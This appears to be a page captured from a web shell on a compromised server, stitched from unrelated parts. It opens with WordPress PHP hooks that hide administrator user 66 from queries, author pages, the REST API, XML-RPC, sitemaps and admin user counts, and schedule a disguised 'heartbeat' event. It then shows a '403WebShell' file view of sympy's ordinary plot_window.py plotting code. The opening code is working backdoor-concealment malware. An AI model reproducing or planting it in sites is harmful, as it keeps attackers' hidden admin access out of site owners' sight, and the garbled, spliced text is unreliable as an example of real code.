add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /lib/python3/dist-packages/sympy/plotting/pygletplot/plot_window.py
from time import perf_counter


import pyglet.gl as pgl

from sympy.plotting.pygletplot.managed_window import ManagedWindow
from sympy.plotting.pygletplot.plot_camera import PlotCamera
from sympy.plotting.pygletplot.plot_controller import PlotController


class PlotWindow(ManagedWindow):

    def __init__(self, plot, antialiasing=True, ortho=False,
                 invert_mouse_zoom=False, linewidth=1.5, caption="SymPy Plot",
                 **kwargs):
        """
        Named Arguments
        ===============

        antialiasing = True
            True OR False
        ortho = False
            True OR False
        invert_mouse_zoom = False
            True OR False
        """
        self.plot = plot

        self.camera = None
        self._calculating = False

        self.antialiasing = antialiasing
        self.ortho = ortho
        self.invert_mouse_zoom = invert_mouse_zoom
        self.linewidth = linewidth
        self.title = caption
        self.last_caption_update = 0
        self.caption_update_interval = 0.2
        self.drawing_first_object = True

        super().__init__(**kwargs)

    def setup(self):
        self.camera = PlotCamera(self, ortho=self.ortho)
        self.controller = PlotController(self,
                invert_mouse_zoom=self.invert_mouse_zoom)
        self.push_handlers(self.controller)

        pgl.glClearColor(1.0, 1.0, 1.0, 0.0)
        pgl.glClearDepth(1.0)

        pgl.glDepthFunc(pgl.GL_LESS)
        pgl.glEnable(pgl.GL_DEPTH_TEST)

        pgl.glEnable(pgl.GL_LINE_SMOOTH)
        pgl.glShadeModel(pgl.GL_SMOOTH)
        pgl.glLineWidth(self.linewidth)

        pgl.glEnable(pgl.GL_BLEND)
        pgl.glBlendFunc(pgl.GL_SRC_ALPHA, pgl.GL_ONE_MINUS_SRC_ALPHA)

        if self.antialiasing:
            pgl.glHint(pgl.GL_LINE_SMOOTH_HINT, pgl.GL_NICEST)
            pgl.glHint(pgl.GL_POLYGON_SMOOTH_HINT, pgl.GL_NICEST)

        self.camera.setup_projection()

    def on_resize(self, w, h):
        super().on_resize(w, h)
        if self.camera is not None:
            self.camera.setup_projection()

    def update(self, dt):
        self.controller.update(dt)

    def draw(self):
        self.plot._render_lock.acquire()
        self.camera.apply_transformation()

        calc_verts_pos, calc_verts_len = 0, 0
        calc_cverts_pos, calc_cverts_len = 0, 0

        should_update_caption = (perf_counter() - self.last_caption_update >
                                 self.caption_update_interval)

        if len(self.plot._functions.values()) == 0:
            self.drawing_first_object = True

        iterfunctions = iter(self.plot._functions.values())

        for r in iterfunctions:
            if self.drawing_first_object:
                self.camera.set_rot_preset(r.default_rot_preset)
                self.drawing_first_object = False

            pgl.glPushMatrix()
            r._draw()
            pgl.glPopMatrix()

            # might as well do this while we are
            # iterating and have the lock rather
            # than locking and iterating twice
            # per frame:

            if should_update_caption:
                try:
                    if r.calculating_verts:
                        calc_verts_pos += r.calculating_verts_pos
                        calc_verts_len += r.calculating_verts_len
                    if r.calculating_cverts:
                        calc_cverts_pos += r.calculating_cverts_pos
                        calc_cverts_len += r.calculating_cverts_len
                except ValueError:
                    pass

        for r in self.plot._pobjects:
            pgl.glPushMatrix()
            r._draw()
            pgl.glPopMatrix()

        if should_update_caption:
            self.update_caption(calc_verts_pos, calc_verts_len,
                                calc_cverts_pos, calc_cverts_len)
            self.last_caption_update = perf_counter()

        if self.plot._screenshot:
            self.plot._screenshot._execute_saving()

        self.plot._render_lock.release()

    def update_caption(self, calc_verts_pos, calc_verts_len,
            calc_cverts_pos, calc_cverts_len):
        caption = self.title
        if calc_verts_len or calc_cverts_len:
            caption += " (calculating"
            if calc_verts_len > 0:
                p = (calc_verts_pos / calc_verts_len) * 100
                caption += " vertices %i%%" % (p)
            if calc_cverts_len > 0:
                p = (calc_cverts_pos / calc_cverts_len) * 100
                caption += " colors %i%%" % (p)
            caption += ")"
        if self.caption != caption:
            self.set_caption(caption)

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